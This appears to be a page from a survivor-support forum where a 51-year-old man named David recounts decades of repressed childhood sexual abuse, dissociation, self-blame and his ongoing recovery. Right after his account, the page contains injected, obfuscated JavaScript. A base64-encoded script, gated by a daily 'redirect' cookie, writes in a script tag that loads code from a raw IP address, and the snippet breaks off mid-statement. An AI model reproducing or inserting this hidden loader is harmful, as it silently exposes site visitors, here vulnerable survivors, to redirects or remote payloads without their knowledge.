156 – David

My name is David and I am 51. I had suppressed all the thoughts and images of my childhood sexual abuse for 40 years until I was a juror on a child abuse case. I had been disassociating for all those years, making the abuse had happened to someone else, couldn’t be me, David. I abused myself as I hid the darkest secrets of my life and almost lost everything dear to me; my wife and children. What I did remember all my life that I was the one at fault, I did something wrong to bring this trauma to myself and even my alters taunted me as I tried to write down the most difficult times in my life. I am in recovery now although an extremely exhausting and terrifying task. My mission on this site is to be heard, be understood, be validated and to let it go. I refuse to allow those perpetrators any more time to make me feel like all that happened was my fault. I want to share more of my story to maybe help another, and another, and another….thanks for this wonderful forum and site. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘